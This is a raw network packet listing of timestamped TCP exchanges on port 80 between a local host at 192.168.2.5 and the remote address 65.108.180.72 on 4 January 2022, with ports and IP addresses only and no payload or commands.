Jan 4, 2022 19:34:05.596265078 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.596268892 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.596286058 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.596309900 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.596312046 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.596332073 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.596338987 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.596353054 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.596378088 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.596411943 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.598999023 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.599101067 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.618109941 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.618144989 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.618166924 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.618186951 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.618208885 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.618228912 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.618247032 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.618266106 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.618345976 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.618375063 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.619060040 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.619085073 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.619141102 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.619189978 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.638494015 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.638530016 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.638550997 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.638571024 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.638592005 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.638600111 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.638614893 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.638636112 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.638686895 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.638798952 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.638845921 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.638997078 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.639019012 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.639039993 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.639044046 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.639061928 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.639085054 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.639086962 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.639106035 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.639131069 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.639163971 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.639425993 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.639475107 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.658665895 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.658701897 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.658724070 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.658746004 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.658755064 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.658768892 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.658781052 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.658792019 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.658814907 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.658837080 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.658838034 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.658859968 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.658863068 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.658881903 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.658890009 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.658905029 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.658929110 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.658930063 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.658952951 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.658955097 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.658976078 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.658998966 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.658999920 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.659023046 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.659040928 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.659045935 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.659069061 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.659075975 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.659090996 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.659111977 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.659130096 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.659138918 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.659156084 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.659177065 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.659179926 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.659202099 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.659236908 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.680058002 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680088043 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680108070 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680129051 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680149078 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680167913 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680188894 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680210114 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680232048 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680238962 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.680253983 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680263996 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.680268049 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.680275917 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680295944 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680315971 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680339098 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680342913 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.680361032 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680372953 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.680383921 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680407047 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680411100 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.680428982 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680450916 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680459023 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.680473089 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680485964 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.680495024 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680512905 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.680516958 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680538893 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680550098 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.680561066 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680577040 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.680609941 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.680825949 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.680887938 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.931736946 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.931900024 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.115988970 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.122471094 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.137373924 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.137403011 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.137419939 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.137484074 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.139231920 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.144630909 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.144670010 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.144687891 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.144705057 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.144723892 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.144730091 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.144742012 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.144750118 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.144757986 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.144774914 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.144807100 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.144907951 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.144947052 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.144965887 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.144983053 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.144999981 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145015955 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145031929 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145047903 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145065069 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145080090 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145083904 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145101070 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145117998 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145124912 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145137072 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145153999 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145164013 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145200014 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145323038 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145342112 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145375967 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145380974 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145397902 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145412922 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145416975 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145433903 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145443916 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145452976 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145468950 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145487070 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145487070 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145508051 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145514965 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145525932 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145539045 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145545006 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145560026 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145576954 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145579100 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145595074 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145612001 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145617962 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145627975 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145642996 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145643950 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145658970 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145674944 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145677090 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145706892 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145729065 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145792961 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145838976 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145889997 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145906925 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145921946 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145936012 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145937920 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145955086 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145970106 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.145982027 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.145984888 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146003962 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146018982 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146034002 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146034956 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146049976 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146063089 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146066904 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146085024 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146096945 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146101952 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146117926 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146123886 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146135092 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146150112 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146150112 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146194935 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146226883 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146272898 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146341085 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146358013 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146385908 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146399021 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146415949 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146423101 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146431923 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146442890 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146447897 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146464109 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146478891 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146478891 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146495104 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146513939 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146521091 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146528959 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146543980 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146544933 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146560907 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146575928 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146589041 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146593094 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146610022 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146625042 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146630049 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146641970 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146652937 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146656990 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146672964 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146687031 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146688938 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146704912 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146716118 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146740913 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146744967 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146790981 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146790981 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146825075 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146915913 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146934032 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146950006 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146961927 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.146965981 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146982908 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.146997929 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147003889 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.147013903 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147030115 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147039890 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.147047043 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147063017 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147069931 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.147079945 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147097111 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147104025 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.147114038 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147126913 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.147130013 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147155046 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147172928 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147176027 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.147222042 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.147257090 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147303104 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.147430897 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147449017 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147464991 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147480965 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147483110 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.147496939 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147514105 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147522926 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.147562981 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.147824049 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147845984 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147861004 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147876978 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147892952 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147908926 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147926092 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147933006 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.147938967 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.147942066 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147958040 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147972107 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.147974014 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.147989988 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148006916 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148022890 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148024082 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148029089 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148040056 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148051977 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148055077 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148072004 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148087978 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148102045 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148118019 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148118973 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148134947 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148150921 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148152113 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148206949 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148211002 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148221016 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148237944 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148255110 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148263931 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148272991 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148297071 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148309946 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148325920 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148328066 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148344994 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148360968 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148395061 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148400068 CET	49897	80	192.168.2.5	65.108.180.72
